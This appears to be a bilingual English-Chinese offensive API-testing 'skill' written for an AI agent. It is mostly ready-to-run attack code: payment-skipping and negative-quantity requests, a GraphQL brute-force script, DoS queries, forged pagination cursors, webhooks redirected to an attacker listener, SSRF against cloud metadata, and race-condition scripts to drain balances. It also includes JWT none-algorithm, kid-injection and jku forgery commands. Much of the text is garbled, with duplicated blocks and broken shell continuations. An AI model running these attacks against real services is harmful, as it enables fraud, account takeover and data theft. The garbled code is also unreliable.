offensive-api-abuse
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive API Abuse and Advanced Exploitation
攻击性 API 滥用与高级漏洞利用
You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.
你正在开展已获授权的安全评估,目标是 API 驱动应用的业务逻辑层。传统漏洞扫描器会漏掉此 skill 中的攻击模式,因为这些模式需要理解应用工作流、状态转换以及 API endpoint 之间的信任关系。你的目标是找出能够造成财务操纵、通过合法渠道外泄数据、通过工作流滥用提升权限,以及通过逻辑层攻击破坏服务的漏洞。
Quick Workflow
快速工作流
- Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
- Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
- Test each workflow for race conditions using parallel request techniques.
- Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
- If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
- Probe pagination for data enumeration and exfiltration opportunities.
- Test webhook configurations for SSRF and callback hijacking.
- Search for API key leakage in client code, error responses, and public repositories.
- Verify all discovered endpoints for authorization consistency.
- Document business impact for each finding with financial or operational consequence estimates.
- 梳理完整的 API 攻击面,包括使用 Arjun、ParamSpider 和手动发现的方法找到未公开 endpoint。
- 对业务工作流建模:识别多步骤交易、状态机以及 endpoint 之间的信任链。
- 使用并行请求技术测试每个工作流中的 race condition。
- 提取并分析 JWT,检查算法混淆、弱签名和 claim 注入机会。
- 如果存在 GraphQL,测试 batching 对暴力破解的放大效果、query depth 导致的 DoS,以及 introspection 导致的 schema 泄漏。
- 探测分页中的数据枚举和外泄机会。
- 测试 webhook 配置中的 SSRF 和 callback 劫持。
- 在客户端代码、错误响应和公共仓库中搜索 API key 泄漏。
- 验证所有已发现 endpoint 的 authorization 一致性。
- 记录每项发现的业务影响,并估算财务或运营后果。
Business Logic Bypass via API Chaining
通过 API 调用链实现业务逻辑绕过
Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
bash
undefined当各个 API endpoint 单独看都很安全,但连接它们的工作流存在可利用缺口时,就会出现业务逻辑漏洞。识别方法是绘制预期交易流程,然后偏离该流程。
bash
undefinedE-commerce checkout bypass
E-commerce checkout bypass
Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
Attack: skip payment and go directly to confirm
Attack: skip payment and go directly to confirm
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items" | jq .
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"coupon_code": "SAVE20"}'
"https://target.example.com/api/v1/cart/coupon" | jq .
-H "Content-Type: application/json"
-d '{"coupon_code": "SAVE20"}'
"https://target.example.com/api/v1/cart/coupon" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items" | jq .
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"coupon_code": "SAVE20"}'
"https://target.example.com/api/v1/cart/coupon" | jq .
-H "Content-Type: application/json"
-d '{"coupon_code": "SAVE20"}'
"https://target.example.com/api/v1/cart/coupon" | jq .
Skip payment -- attempt direct order confirmation
Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"cart_id": "CART-12345"}'
"https://target.example.com/api/v1/orders/confirm" | jq .
-H "Content-Type: application/json"
-d '{"cart_id": "CART-12345"}'
"https://target.example.com/api/v1/orders/confirm" | jq .
```bashcurl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"cart_id": "CART-12345"}'
"https://target.example.com/api/v1/orders/confirm" | jq .
-H "Content-Type: application/json"
-d '{"cart_id": "CART-12345"}'
"https://target.example.com/api/v1/orders/confirm" | jq .
```bashPrice manipulation: add expensive item for free shipping, calculate, remove it
Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items"
-H "Content-Type: application/json"
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/cart/calculate"
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"payment_method": "card_on_file"}'
"https://target.example.com/api/v1/cart/pay"
-H "Content-Type: application/json"
-d '{"payment_method": "card_on_file"}'
"https://target.example.com/api/v1/cart/pay"
```bashcurl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items"
-H "Content-Type: application/json"
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}'
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/cart/calculate"
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"payment_method": "card_on_file"}'
"https://target.example.com/api/v1/cart/pay"
-H "Content-Type: application/json"
-d '{"payment_method": "card_on_file"}'
"https://target.example.com/api/v1/cart/pay"
```bashState manipulation, negative quantities, currency confusion
State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"status": "pending"}'
"https://target.example.com/api/v1/orders/ORD-5001"
-H "Content-Type: application/json"
-d '{"status": "pending"}'
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": -1}'
"https://target.example.com/api/v1/cart/items"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": -1}'
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"amount": 100, "currency": "IDR"}'
"https://target.example.com/api/v1/payments"
-H "Content-Type: application/json"
-d '{"amount": 100, "currency": "IDR"}'
"https://target.example.com/api/v1/payments"
---curl -s -X PATCH -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"status": "pending"}'
"https://target.example.com/api/v1/orders/ORD-5001"
-H "Content-Type: application/json"
-d '{"status": "pending"}'
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": -1}'
"https://target.example.com/api/v1/cart/items"
-H "Content-Type: application/json"
-d '{"product_id": "PROD-001", "quantity": -1}'
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"amount": 100, "currency": "IDR"}'
"https://target.example.com/api/v1/payments"
-H "Content-Type: application/json"
-d '{"amount": 100, "currency": "IDR"}'
"https://target.example.com/api/v1/payments"
---GraphQL Batching and Abuse
GraphQL 批处理与滥用
GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
bash
undefinedGraphQL API 通过 query batching、introspection 和嵌套 query 执行引入了独特的攻击面,可绕过 rate limiting 和 authorization 控制。
bash
undefinedFull introspection query -- extract types and mutations
Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:
```python
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
payload = [
{"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
for j, pwd in enumerate(batch)
]
resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
print(f"[!] Rate limited at batch index {i}")
break
for j, result in enumerate(resp.json()):
if result.get("data", {}).get("login", {}).get("success"):
print(f"[+] Valid: {email}:{batch[j]}")
return
print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])bash
undefinedcurl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}'
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
用于放大暴力破解效果的批处理——在单个 HTTP 请求中发送多次身份验证尝试,以绕过按请求实施的 rate limiting:
```python
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
payload = [
{"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
for j, pwd in enumerate(batch)
]
resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
print(f"[!] Rate limited at batch index {i}")
break
for j, result in enumerate(resp.json()):
if result.get("data", {}).get("login", {}).get("success"):
print(f"[+] Valid: {email}:{batch[j]}")
return
print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])bash
undefinedQuery depth exploitation for denial of service
Query depth exploitation for denial of service
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}'
"https://target.example.com/graphql"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}'
"https://target.example.com/graphql"
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}'
"https://target.example.com/graphql"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}'
"https://target.example.com/graphql"
Field duplication for response amplification
Field duplication for response amplification
curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}'
"https://target.example.com/graphql"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}'
"https://target.example.com/graphql"
---curl -s -X POST -H "Content-Type: application/json"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}'
"https://target.example.com/graphql"
-H "Authorization: Bearer $TOKEN"
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}'
"https://target.example.com/graphql"
---Pagination Exploitation
分页漏洞利用
Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained.
bash
undefined分页机制可能泄露总记录数、通过 cursor 操纵暴露数据,并在未得到正确约束时允许枚举完整数据库。
bash
undefinedProbe pagination boundaries and abuse page size
Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=1&per_page=1" |
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
"https://target.example.com/api/v1/users?page=1&per_page=1" |
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
```bashcurl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=1&per_page=1" |
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
"https://target.example.com/api/v1/users?page=1&per_page=1" |
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
```bashCursor-based pagination manipulation
Cursor-based pagination manipulation
echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
Forge a cursor to access arbitrary records
Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
Sort and filter parameter injection
Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq . curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq . curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
---curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq . curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq . curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
---Webhook Hijacking and SSRF
Webhook 劫持与 SSRF
Webhook configurations allow you to redirect server-initiated callbacks to attacker-controlled endpoints, enabling data interception and SSRF.
bash
undefinedWebhook 配置允许将服务器发起的 callback 重定向到攻击者控制的 endpoint,从而实现数据截获和 SSRF。
bash
undefinedRegister a webhook pointing to your controlled server
Register a webhook pointing to your controlled server
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "url": "https://attacker-listener.example.com/webhook", "events": ["user.created", "order.completed", "payment.received"], "secret": "attacker_secret" }' "https://target.example.com/api/v1/webhooks" | jq .
-H "Content-Type: application/json"
-d '{ "url": "https://attacker-listener.example.com/webhook", "events": ["user.created", "order.completed", "payment.received"], "secret": "attacker_secret" }' "https://target.example.com/api/v1/webhooks" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "url": "https://attacker-listener.example.com/webhook", "events": ["user.created", "order.completed", "payment.received"], "secret": "attacker_secret" }' "https://target.example.com/api/v1/webhooks" | jq .
-H "Content-Type: application/json"
-d '{ "url": "https://attacker-listener.example.com/webhook", "events": ["user.created", "order.completed", "payment.received"], "secret": "attacker_secret" }' "https://target.example.com/api/v1/webhooks" | jq .
List existing webhooks to discover internal URLs
List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
```bashcurl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
```bashWebhook SSRF: point webhook URL to internal services
Webhook SSRF: point webhook URL to internal services
internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d "{"url": "${target_url}", "events": ["test.ping"]}"
"https://target.example.com/api/v1/webhooks") echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)" done
-H "Content-Type: application/json"
-d "{"url": "${target_url}", "events": ["test.ping"]}"
"https://target.example.com/api/v1/webhooks") echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)" done
---internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d "{"url": "${target_url}", "events": ["test.ping"]}"
"https://target.example.com/api/v1/webhooks") echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)" done
-H "Content-Type: application/json"
-d "{"url": "${target_url}", "events": ["test.ping"]}"
"https://target.example.com/api/v1/webhooks") echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)" done
---Race Conditions in API Transactions
API 交易中的 Race Condition
Race conditions occur when APIs fail to properly serialize concurrent requests against shared state. You exploit these to duplicate transactions, bypass limits, or corrupt state.
python
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
async def send_request(session, url, data=None):
async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
async def race_coupon_redeem(coupon_code, n=20):
"""Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/cart/coupon",
{"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] == 200]
print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
async def race_balance_transfer(n=20):
"""Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/transfers",
{"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] in (200, 201)]
total = sum(r["body"].get("amount", 0) for r in successes)
print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
if __name__ == "__main__":
asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
asyncio.run(race_balance_transfer())bash
undefined当 API 未能正确串行化针对共享状态的并发请求时,就会出现 race condition。可以利用它们复制交易、绕过限制或破坏状态。
python
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
async def send_request(session, url, data=None):
async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
async def race_coupon_redeem(coupon_code, n=20):
"""Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/cart/coupon",
{"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] == 200]
print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
async def race_balance_transfer(n=20):
"""Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/transfers",
{"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] in (200, 201)]
total = sum(r["body"].get("amount", 0) for r in successes)
print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
if __name__ == "__main__":
asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
asyncio.run(race_balance_transfer())bash
undefinedRace condition using GNU parallel with curl
Race condition using GNU parallel with curl
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n"
-X POST -H "Authorization: Bearer '"$TOKEN"'"
-H "Content-Type: application/json"
-d '''{"coupon_code": "SINGLE-USE"}'''
"https://target.example.com/api/v1/cart/coupon"'
-X POST -H "Authorization: Bearer '"$TOKEN"'"
-H "Content-Type: application/json"
-d '''{"coupon_code": "SINGLE-USE"}'''
"https://target.example.com/api/v1/cart/coupon"'
---seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n"
-X POST -H "Authorization: Bearer '"$TOKEN"'"
-H "Content-Type: application/json"
-d '''{"coupon_code": "SINGLE-USE"}'''
"https://target.example.com/api/v1/cart/coupon"'
-X POST -H "Authorization: Bearer '"$TOKEN"'"
-H "Content-Type: application/json"
-d '''{"coupon_code": "SINGLE-USE"}'''
"https://target.example.com/api/v1/cart/coupon"'
---JWT Manipulation
JWT 操纵
JSON Web Tokens often carry authorization decisions client-side. You exploit weaknesses in token generation, validation, and cryptographic implementation.
bash
undefinedJSON Web Token 通常在客户端承载授权决策。可以利用 token 生成、验证和密码学实现中的弱点。
bash
undefinedDecode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n # None algorithm
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n # None algorithm
Manual none-algorithm variants
Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{"alg":"${alg}","typ":"JWT"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
forged="${header}.${payload}."
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer ${forged}"
"https://target.example.com/api/v1/users/me") echo "Algorithm '${alg}' -> HTTP ${code}" done
-H "Authorization: Bearer ${forged}"
"https://target.example.com/api/v1/users/me") echo "Algorithm '${alg}' -> HTTP ${code}" done
```bashfor alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{"alg":"${alg}","typ":"JWT"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
forged="${header}.${payload}."
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer ${forged}"
"https://target.example.com/api/v1/users/me") echo "Algorithm '${alg}' -> HTTP ${code}" done
-H "Authorization: Bearer ${forged}"
"https://target.example.com/api/v1/users/me") echo "Algorithm '${alg}' -> HTTP ${code}" done
```bashkid (Key ID) injection -- path traversal and SQL injection
kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
```bashjwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
```bashjku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
jwt_tool "$JWT_TOKEN" -I
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json"
-hc kid -hv "attacker-key-1"
-S rs256 -pr attacker_key.pem
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json"
-hc kid -hv "attacker-key-1"
-S rs256 -pr attacker_key.pem
```bashopenssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
jwt_tool "$JWT_TOKEN" -I
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json"
-hc kid -hv "attacker-key-1"
-S rs256 -pr attacker_key.pem
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json"
-hc kid -hv "attacker-key-1"
-S rs256 -pr attacker_key.pem
```bashClaim tampering with a known or brute-forced secret
Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
